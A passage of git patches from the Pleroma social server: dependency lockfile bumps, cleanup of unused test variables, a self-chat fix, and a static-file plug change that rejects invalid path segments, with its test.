:plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "ad1e233fe73d2eec56616568d260777b67f53148a999dc2d048f4eb9778fe4a0"}, - "plug_cowboy": {:hex, :plug_cowboy, "2.3.0", "149a50e05cb73c12aad6506a371cd75750c0b19a32f81866e1a323dda9e0e99d", [:mix], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "bc595a1870cef13f9c1e03df56d96804db7f702175e4ccacdb8fc75c02a7b97e"}, - "plug_crypto": {:hex, :plug_crypto, "1.1.2", "bdd187572cc26dbd95b87136290425f2b580a116d3fb1f564216918c9730d227", [:mix], [], "hexpm", "6b8b608f895b6ffcfad49c37c7883e8df98ae19c6a28113b02aa1e9c5b22d6b5"}, + "plug_cowboy": {:hex, :plug_cowboy, "2.4.0", "e936ef151751f386804c51f87f7300f5aaae6893cdad726559c3930c6c032948", [:mix], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:cowboy_telemetry, "~> 0.3", [hex: :cowboy_telemetry, repo: "hexpm", optional: false]}, {:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "e25ddcfc06b1b76e55af79d078b03cbc86bbcb99ce4e5e0a5e4a8114ee039be6"}, + "plug_crypto": {:hex, :plug_crypto, "1.2.0", "1cb20793aa63a6c619dd18bb33d7a3aa94818e5fd39ad357051a67f26dfa2df6", [:mix], [], "hexpm", "a48b538ae8bf381ffac344520755f3007cc10bd8e90b240af98ea29b69683fc2"}, "plug_static_index_html": {:hex, :plug_static_index_html, "1.0.0", "840123d4d3975585133485ea86af73cb2600afd7f2a976f9f5fd8b3808e636a0", [:mix], [{:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "79fd4fcf34d110605c26560cbae8f23c603ec4158c08298bd4360fdea90bb5cf"}, "poison": {:hex, :poison, "3.1.0", "d9eb636610e096f86f25d9a46f35a9facac35609a7591b3be3326e99a0484665", [:mix], [], "hexpm", "fec8660eb7733ee4117b85f55799fd3833eb769a6df71ccf8903e8dc5447cfce"}, "poolboy": {:hex, :poolboy, "1.5.2", "392b007a1693a64540cead79830443abf5762f5d30cf50bc95cb2c1aaafa006b", [:rebar3], [], "hexpm", "dad79704ce5440f3d5a3681c8590b9dc25d1a561e8f5a9c995281012860901e3"}, @@ -100,8 +101,9 @@ "pot": {:hex, :pot, "0.11.0", "61bad869a94534739dd4614a25a619bc5c47b9970e9a0ea5bef4628036fc7a16", [:rebar3], [], "hexpm", "57ee6ee6bdeb639661ffafb9acefe3c8f966e45394de6a766813bb9e1be4e54b"}, "prometheus": {:hex, :prometheus, "4.6.0", "20510f381db1ccab818b4cf2fac5fa6ab5cc91bc364a154399901c001465f46f", [:mix, :rebar3], [], "hexpm", "4905fd2992f8038eccd7aa0cd22f40637ed618c0bed1f75c05aacec15b7545de"}, "prometheus_ecto": {:hex, :prometheus_ecto, "1.4.3", "3dd4da1812b8e0dbee81ea58bb3b62ed7588f2eae0c9e97e434c46807ff82311", [:mix], [{:ecto, "~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm", "8d66289f77f913b37eda81fd287340c17e61a447549deb28efc254532b2bed82"}, - "prometheus_ex": {:hex, :prometheus_ex, "3.0.5", "fa58cfd983487fc5ead331e9a3e0aa622c67232b3ec71710ced122c4c453a02f", [:mix], [{:prometheus, "~> 4.0", [hex: :prometheus, repo: "hexpm", optional: false]}], "hexpm", "9fd13404a48437e044b288b41f76e64acd9735fb8b0e3809f494811dfa66d0fb"}, + "prometheus_ex": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/prometheus.ex.git", "a4e9beb3c1c479d14b352fd9d6dd7b1f6d7deee5", [ref: "a4e9beb3c1c479d14b352fd9d6dd7b1f6d7deee5"]}, "prometheus_phoenix": {:hex, :prometheus_phoenix, "1.3.0", "c4b527e0b3a9ef1af26bdcfbfad3998f37795b9185d475ca610fe4388fdd3bb5", [:mix], [{:phoenix, "~> 1.4", [hex: :phoenix, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.3 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm", "c4d1404ac4e9d3d963da601db2a7d8ea31194f0017057fabf0cfb9bf5a6c8c75"}, + "prometheus_phx": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/prometheus-phx.git", "9cd8f248c9381ffedc799905050abce194a97514", [branch: "no-logging"]}, "prometheus_plugs": {:hex, :prometheus_plugs, "1.1.5", "25933d48f8af3a5941dd7b621c889749894d8a1082a6ff7c67cc99dec26377c5", [:mix], [{:accept, "~> 0.1", [hex: :accept, repo: "hexpm", optional: false]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}, {:prometheus_process_collector, "~> 1.1", [hex: :prometheus_process_collector, repo: "hexpm", optional: true]}], "hexpm", "0273a6483ccb936d79ca19b0ab629aef0dba958697c94782bb728b920dfc6a79"}, "quack": {:hex, :quack, "0.1.1", "cca7b4da1a233757fdb44b3334fce80c94785b3ad5a602053b7a002b5a8967bf", [:mix], [{:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: false]}, {:tesla, "~> 1.2.0", [hex: :tesla, repo: "hexpm", optional: false]}], "hexpm", "d736bfa7444112eb840027bb887832a0e403a4a3437f48028c3b29a2dbbd2543"}, "ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm", "451d8527787df716d99dc36162fca05934915db0b6141bbdac2ea8d3c7afc7d7"}, @@ -110,13 +112,13 @@ "sleeplocks": {:hex, :sleeplocks, "1.1.1", "3d462a0639a6ef36cc75d6038b7393ae537ab394641beb59830a1b8271faeed3", [:rebar3], [], "hexpm", "84ee37aeff4d0d92b290fff986d6a95ac5eedf9b383fadfd1d88e9b84a1c02e1"}, "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.5", "6eaf7ad16cb568bb01753dbbd7a95ff8b91c7979482b95f38443fe2c8852a79b", [:make, :mix, :rebar3], [], "hexpm", "13104d7897e38ed7f044c4de953a6c28597d1c952075eb2e328bc6d6f2bfc496"}, "sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm", "2e1ec458f892ffa81f9f8386e3f35a1af6db7a7a37748a64478f13163a1f3573"}, - "swoosh": {:hex, :swoosh, "1.0.0", "c547cfc83f30e12d5d1fdcb623d7de2c2e29a5becfc68bf8f42ba4d23d2c2756", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm", "b3b08e463f876cb6167f7168e9ad99a069a724e124bcee61847e0e1ed13f4a0d"}, + "swoosh": {:hex, :swoosh, "1.0.6", "6765e334c67dacabe721f0d701c7e5a6f06e4595c90df6f91e73ebd54d555833", [:mix], [{:cowboy, "~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13 or ~> 1.0", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm", "7c50ef78e4acfd1cbd4907dc1fa87b5540675a6be9dc979d04890f49d7ec1830"}, "syslog": {:hex, :syslog, "1.1.0", "6419a232bea84f07b56dc575225007ffe34d9fdc91abe6f1b2f254fd71d8efc2", [:rebar3], [], "hexpm", "4c6a41373c7e20587be33ef841d3de6f3beba08519809329ecc4d27b15b659e1"}, "telemetry": {:hex, :telemetry, "0.4.2", "2808c992455e08d6177322f14d3bdb6b625fbcfd233a73505870d8738a2f4599", [:rebar3], [], "hexpm", "2d1419bd9dda6a206d7b5852179511722e2b18812310d304620c7bd92a13fcef"}, "tesla": {:git, "https://github.com/teamon/tesla/", "9f7261ca49f9f901ceb73b60219ad6f8a9f6aa30", [ref: "9f7261ca49f9f901ceb73b60219ad6f8a9f6aa30"]}, "timex": {:hex, :timex, "3.6.2", "845cdeb6119e2fef10751c0b247b6c59d86d78554c83f78db612e3290f819bc2", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5 or ~> 1.0.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "26030b46199d02a590be61c2394b37ea25a3664c02fafbeca0b24c972025d47a"}, "trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "bd4fde4c15f3e993a999e019d64347489b91b7a9096af68b2bdadd192afa693f"}, - "tzdata": {:hex, :tzdata, "1.0.3", "73470ad29dde46e350c60a66e6b360d3b99d2d18b74c4c349dbebbc27a09a3eb", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "a6e1ee7003c4d04ecbd21dd3ec690d4c6662db5d3bbdd7262d53cdf5e7c746c1"}, + "tzdata": {:hex, :tzdata, "1.0.4", "a3baa4709ea8dba552dca165af6ae97c624a2d6ac14bd265165eaa8e8af94af6", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "b02637db3df1fd66dd2d3c4f194a81633d0e4b44308d36c1b2fdfd1e4e6f169b"}, "ueberauth": {:hex, :ueberauth, "0.6.3", "d42ace28b870e8072cf30e32e385579c57b9cc96ec74fa1f30f30da9c14f3cc0", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "afc293d8a1140d6591b53e3eaf415ca92842cb1d32fad3c450c6f045f7f91b60"}, "unicode_util_compat": {:hex, :unicode_util_compat, "0.4.1", "d869e4c68901dd9531385bb0c8c40444ebf624e60b6962d95952775cac5e90cd", [:rebar3], [], "hexpm", "1d1848c40487cdb0b30e8ed975e34e025860c02e419cb615d255849f3427439d"}, "unsafe": {:hex, :unsafe, "1.0.1", "a27e1874f72ee49312e0a9ec2e0b27924214a05e3ddac90e91727bc76f8613d8", [:mix], [], "hexpm", "6c7729a2d214806450d29766abc2afaa7a2cbecf415be64f36a6691afebb50e5"}, diff --git a/test/pleroma/notification_test.exs b/test/pleroma/notification_test.exs index 0e9630f28..a74fb7bc2 100644 --- a/test/pleroma/notification_test.exs +++ b/test/pleroma/notification_test.exs @@ -400,7 +400,7 @@ test "dismisses the notification on follow request rejection" do user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) - assert [notification] = Notification.for_user(user) + assert [_notification] = Notification.for_user(user) {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) assert [] = Notification.for_user(user) end diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 1a8a844ca..9200aef65 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -505,22 +505,22 @@ test "increases replies count", %{user: user} do # public {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "public")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 1 # unlisted {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "unlisted")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 2 # private {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "private")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 2 # direct {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "direct")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 2 end end diff --git a/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs index 58b46b9a2..e08eb3ba6 100644 --- a/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs +++ b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs @@ -21,7 +21,7 @@ test "it's allowed when address is public" do "type" => "Create" } - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end test "it's allowed when cc address contain public address" do @@ -34,7 +34,7 @@ test "it's allowed when cc address contain public address" do "type" => "Create" } - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end end @@ -50,7 +50,7 @@ test "it's allowed when addrer of message in the follower addresses of user and } Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], true) - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end test "it's rejected when addrer of message in the follower addresses of user and it disabled in config" do @@ -80,7 +80,7 @@ test "it's allows when direct messages are allow" do } Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], true) - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end test "it's reject when direct messages aren't allow" do diff --git a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs index 6ff71d640..ffc30ba62 100644 --- a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs +++ b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs @@ -29,7 +29,7 @@ test "allows non-local follow requests" do actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: true) message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} - assert {:ok, message} = TagPolicy.filter(message) + assert {:ok, _message} = TagPolicy.filter(message) end end diff --git a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs index e895636b5..54335acdb 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs @@ -144,7 +144,7 @@ test "it rejects incoming announces with an inlined activity from another origin _user = insert(:user, local: false, ap_id: data["actor"]) - assert {:error, e} = Transmogrifier.handle_incoming(data) + assert {:error, _e} = Transmogrifier.handle_incoming(data) end test "it does not clobber the addressing on announce activities" do diff --git a/test/pleroma/web/activity_pub/transmogrifier_test.exs b/test/pleroma/web/activity_pub/transmogrifier_test.exs index 561674f01..4547c84b7 100644 --- a/test/pleroma/web/activity_pub/transmogrifier_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier_test.exs @@ -101,7 +101,7 @@ test "it fetches reply-to activities if we don't have them" do {:ok, returned_activity} = Transmogrifier.handle_incoming(data) returned_object = Object.normalize(returned_activity, false) - assert activity = + assert %Activity{} = Activity.get_create_by_object_ap_id( "https://mstdn.io/users/mayuutann/statuses/99568293732299394" ) diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs index f5d09f396..64476a099 100644 --- a/test/pleroma/web/common_api_test.exs +++ b/test/pleroma/web/common_api_test.exs @@ -622,7 +622,7 @@ test "it validates character limits are correctly enforced" do assert {:error, "The status is over the character limit"} = CommonAPI.post(user, %{status: "foobar"}) - assert {:ok, activity} = CommonAPI.post(user, %{status: "12345"}) + assert {:ok, _activity} = CommonAPI.post(user, %{status: "12345"}) end test "it can handle activities that expire" do diff --git a/test/pleroma/web/fed_sockets/fed_registry_test.exs b/test/pleroma/web/fed_sockets/fed_registry_test.exs index 19ac874d6..73aaced46 100644 --- a/test/pleroma/web/fed_sockets/fed_registry_test.exs +++ b/test/pleroma/web/fed_sockets/fed_registry_test.exs @@ -52,7 +52,7 @@ test "multiple origins can be added" do end test "will be ignored" do - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + assert {:ok, %SocketInfo{origin: origin, pid: _pid_one}} = FedRegistry.get_fed_socket(@good_domain_origin) assert origin == "good.domain:80" @@ -63,7 +63,7 @@ test "will be ignored" do test "the newer process will be closed" do pid_two = build_test_socket(@good_domain) - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + assert {:ok, %SocketInfo{origin: origin, pid: _pid_one}} = FedRegistry.get_fed_socket(@good_domain_origin) assert origin == "good.domain:80" diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index 7336fa8de..dcc0c81ec 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -32,7 +32,7 @@ test "works by id" do test "works by nickname" do user = insert(:user) - assert %{"id" => user_id} = + assert %{"id" => _user_id} = build_conn() |> get("/api/v1/accounts/#{user.nickname}") |> json_response_and_validate_schema(200) @@ -43,7 +43,7 @@ test "works by nickname for remote users" do user = insert(:user, nickname: "user@example.com", local: false) - assert %{"id" => user_id} = + assert %{"id" => _user_id} = build_conn() |> get("/api/v1/accounts/#{user.nickname}") |> json_response_and_validate_schema(200) @@ -1429,10 +1429,10 @@ test "returns an error if captcha is invalid", %{conn: conn} do test "returns lists to which the account belongs" do %{user: user, conn: conn} = oauth_access(["read:lists"]) other_user = insert(:user) - assert {:ok, %Pleroma.List{id: list_id} = list} = Pleroma.List.create("Test List", user) + assert {:ok, %Pleroma.List{id: _list_id} = list} = Pleroma.List.create("Test List", user) {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) - assert [%{"id" => list_id, "title" => "Test List"}] = + assert [%{"id" => _list_id, "title" => "Test List"}] = conn |> get("/api/v1/accounts/#{other_user.id}/lists") |> json_response_and_validate_schema(200) diff --git a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs index 61359214a..436608e51 100644 --- a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs @@ -937,7 +937,7 @@ test "reblogged status for another user" do |> get("/api/v1/statuses/#{reblog_activity1.id}") assert %{ - "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, + "reblog" => %{"id" => _id, "reblogged" => false, "reblogs_count" => 2}, "reblogged" => false, "favourited" => false, "bookmarked" => false diff --git a/test/pleroma/web/o_auth/o_auth_controller_test.exs b/test/pleroma/web/o_auth/o_auth_controller_test.exs index 1200126b8..a00df8cc7 100644 --- a/test/pleroma/web/o_auth/o_auth_controller_test.exs +++ b/test/pleroma/web/o_auth/o_auth_controller_test.exs @@ -77,7 +77,7 @@ test "GET /oauth/prepare_request encodes parameters as `state` and redirects", % } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) redirect_query = URI.parse(redirected_to(conn)).query assert %{"state" => state_param} = URI.decode_query(redirect_query) @@ -119,7 +119,7 @@ test "with user-bound registration, GET /oauth/<provider>/callback redirects to } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ end @@ -182,7 +182,7 @@ test "on authentication error, GET /oauth/<provider>/callback redirects to `redi } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) == app.redirect_uris assert get_flash(conn, :error) == "Failed to authenticate: (error description)." end @@ -238,7 +238,7 @@ test "with valid params, POST /oauth/register?op=register redirects to `redirect } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ end @@ -268,7 +268,7 @@ test "with unlisted `redirect_uri`, POST /oauth/register?op=register results in } ) - assert response = html_response(conn, 401) + assert html_response(conn, 401) end test "with invalid params, POST /oauth/register?op=register renders registration_details page", @@ -336,7 +336,7 @@ test "with valid params, POST /oauth/register?op=connect redirects to `redirect_ } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ end @@ -367,7 +367,7 @@ test "with unlisted `redirect_uri`, POST /oauth/register?op=connect results in H } ) - assert response = html_response(conn, 401) + assert html_response(conn, 401) end test "with invalid params, POST /oauth/register?op=connect renders registration_details page", diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs index 386ad8634..3445f0ca0 100644 --- a/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -569,7 +569,7 @@ test "shows pack.json", %{conn: conn} do test "for pack name with special chars", %{conn: conn} do assert %{ - "files" => files, + "files" => _files, "files_count" => 1, "pack" => %{ "can-download" => true, diff --git a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs index d6be92869..289119d45 100644 --- a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs @@ -34,7 +34,7 @@ test "mascot upload" do |> put_req_header("content-type", "multipart/form-data") |> put("/api/v1/pleroma/mascot", %{"file" => file}) - assert %{"id" => _, "type" => image} = json_response_and_validate_schema(conn, 200) + assert %{"id" => _, "type" => _image} = json_response_and_validate_schema(conn, 200) end test "mascot retrieving" do diff --git a/test/support/channel_case.ex b/test/support/channel_case.ex index d63a0f06b..114184a9f 100644 --- a/test/support/channel_case.ex +++ b/test/support/channel_case.ex @@ -22,7 +22,7 @@ defmodule Pleroma.Web.ChannelCase do using do quote do # Import conveniences for testing with channels - use Phoenix.ChannelTest + import Phoenix.ChannelTest use Pleroma.Tests.Helpers # The default endpoint for testing diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex index 7ef681258..9316a82e4 100644 --- a/test/support/conn_case.ex +++ b/test/support/conn_case.ex @@ -22,7 +22,8 @@ defmodule Pleroma.Web.ConnCase do using do quote do # Import conveniences for testing with connections - use Phoenix.ConnTest + import Plug.Conn + import Phoenix.ConnTest use Pleroma.Tests.Helpers import Pleroma.Web.Router.Helpers -- cgit v1.2.3 From 7058cac1c2eeb46ef6e95b6af863c931f8d38f06 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Thu, 22 Oct 2020 10:56:17 +0000 Subject: Merge branch '2257-self-chat' into 'develop' Resolve "Can't message yourself in a chat (but can start it)" Closes #2257 See merge request pleroma/pleroma!3099 --- CHANGELOG.md | 1 + lib/pleroma/web/activity_pub/side_effects.ex | 1 + test/pleroma/web/common_api_test.exs | 14 ++++++++++++++ 3 files changed, 16 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 80ca6a350..01038b7ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -49,6 +49,7 @@ switched to a new configuration mechanism, however it was not officially removed - Add documented-but-missing chat pagination. - Allow sending out emails again. +- Allow sending chat messages to yourself ### Upgrade notes diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex index d421ca7af..0fff5faf2 100644 --- a/lib/pleroma/web/activity_pub/side_effects.ex +++ b/lib/pleroma/web/activity_pub/side_effects.ex @@ -306,6 +306,7 @@ def handle_object_creation(%{"type" => "ChatMessage"} = object, meta) do streamables = [[actor, recipient], [recipient, actor]] + |> Enum.uniq() |> Enum.map(fn [user, other_user] -> if user.local do {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs index 64476a099..c5b90ad84 100644 --- a/test/pleroma/web/common_api_test.exs +++ b/test/pleroma/web/common_api_test.exs @@ -95,6 +95,20 @@ test "it blocks and does not federate if outgoing blocks are disabled", %{ describe "posting chat messages" do setup do: clear_config([:instance, :chat_limit]) + test "it posts a self-chat" do + author = insert(:user) + recipient = author + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "remember to buy milk when milk truk arive" + ) + + assert activity.data["type"] == "Create" + end + test "it posts a chat message without content but with an attachment" do author = insert(:user) recipient = insert(:user) -- cgit v1.2.3 From 88dc1d24b98a9cac9f740fcd12b38a2d7727a9c2 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Wed, 28 Oct 2020 15:06:47 +0000 Subject: Merge branch 'issue/2261' into 'develop' [#2261] FrontStatic plug: excluded invalid url See merge request pleroma/pleroma!3106 --- lib/pleroma/web/plugs/frontend_static.ex | 26 +++++++++++++--------- .../web/plugs/frontend_static_plug_test.exs | 21 +++++++++++++++++ 2 files changed, 36 insertions(+), 11 deletions(-) diff --git a/lib/pleroma/web/plugs/frontend_static.ex b/lib/pleroma/web/plugs/frontend_static.ex index ceb10dcf8..1b0b36813 100644 --- a/lib/pleroma/web/plugs/frontend_static.ex +++ b/lib/pleroma/web/plugs/frontend_static.ex @@ -34,22 +34,26 @@ def init(opts) do end def call(conn, opts) do - frontend_type = Map.get(opts, :frontend_type, :primary) - path = file_path("", frontend_type) - - if path do - conn - |> call_static(opts, path) + with false <- invalid_path?(conn.path_info), + frontend_type <- Map.get(opts, :frontend_type, :primary), + path when not is_nil(path) <- file_path("", frontend_type) do + call_static(conn, opts, path) else - conn + _ -> + conn end end - defp call_static(conn, opts, from) do - opts = - opts - |> Map.put(:from, from) + defp invalid_path?(list) do + invalid_path?(list, :binary.compile_pattern(["/", "\\", ":", "\0"])) + end + defp invalid_path?([h | _], _match) when h in [".", "..", ""], do: true + defp invalid_path?([h | t], match), do: String.contains?(h, match) or invalid_path?(t) + defp invalid_path?([], _match), do: false + + defp call_static(conn, opts, from) do + opts = Map.put(opts, :from, from) Plug.Static.call(conn, opts) end end diff --git a/test/pleroma/web/plugs/frontend_static_plug_test.exs b/test/pleroma/web/plugs/frontend_static_plug_test.exs index f6f7d7bdb..8b7b022fc 100644 --- a/test/pleroma/web/plugs/frontend_static_plug_test.exs +++ b/test/pleroma/web/plugs/frontend_static_plug_test.exs @@ -4,6 +4,7 @@ defmodule Pleroma.Web.Plugs.FrontendStaticPlugTest do use Pleroma.Web.ConnCase + import Mock @dir "test/tmp/instance_static" @@ -53,4 +54,24 @@ test "overrides existing static files for the `pleroma/admin` path", %{conn: con index = get(conn, "/pleroma/admin/") assert html_response(index, 200) == "from frontend plug" end + + test "exclude invalid path", %{conn: conn} do + name = "pleroma-fe" + ref = "dist" + clear_config([:media_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) + path = "#{@dir}/frontends/#{name}/#{ref}" + + File.mkdir_p!("#{path}/proxy/rr/ss") + File.write!("#{path}/proxy/rr/ss/Ek7w8WPVcAApOvN.jpg:large", "FB image") + + url = + Pleroma.Web.MediaProxy.encode_url("https://pbs.twimg.com/media/Ek7w8WPVcAApOvN.jpg:large") + + with_mock Pleroma.ReverseProxy, + call: fn _conn, _url, _opts -> %Plug.Conn{status: :success} end do + assert %Plug.Conn{status: :success} = get(conn, url) + end + end end -- cgit v1.2.3 From 5f27a39152cfee4746313ee8c63fb5f600fdb1a2 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Fri, 23 Oct 2020 19:39:42 +0000 Subject: Merge branch '2242-nsfw-case' into 'develop' Resolve "Posts tagged with #NSFW from GS aren't marked as sensitive" Closes #2242 See merge request pleroma/pleroma!3094 --- lib/pleroma/web/activity_pub/transmogrifier.ex | 19 +++--- test/fixtures/mastodon-post-activity-nsfw.json | 68 ++++++++++++++++++++++ .../web/activity_pub/transmogrifier_test.exs | 10 ++++ 3 files changed, 89 insertions(+), 8 deletions(-) create mode 100644 test/fixtures/mastodon-post-activity-nsfw.json diff --git 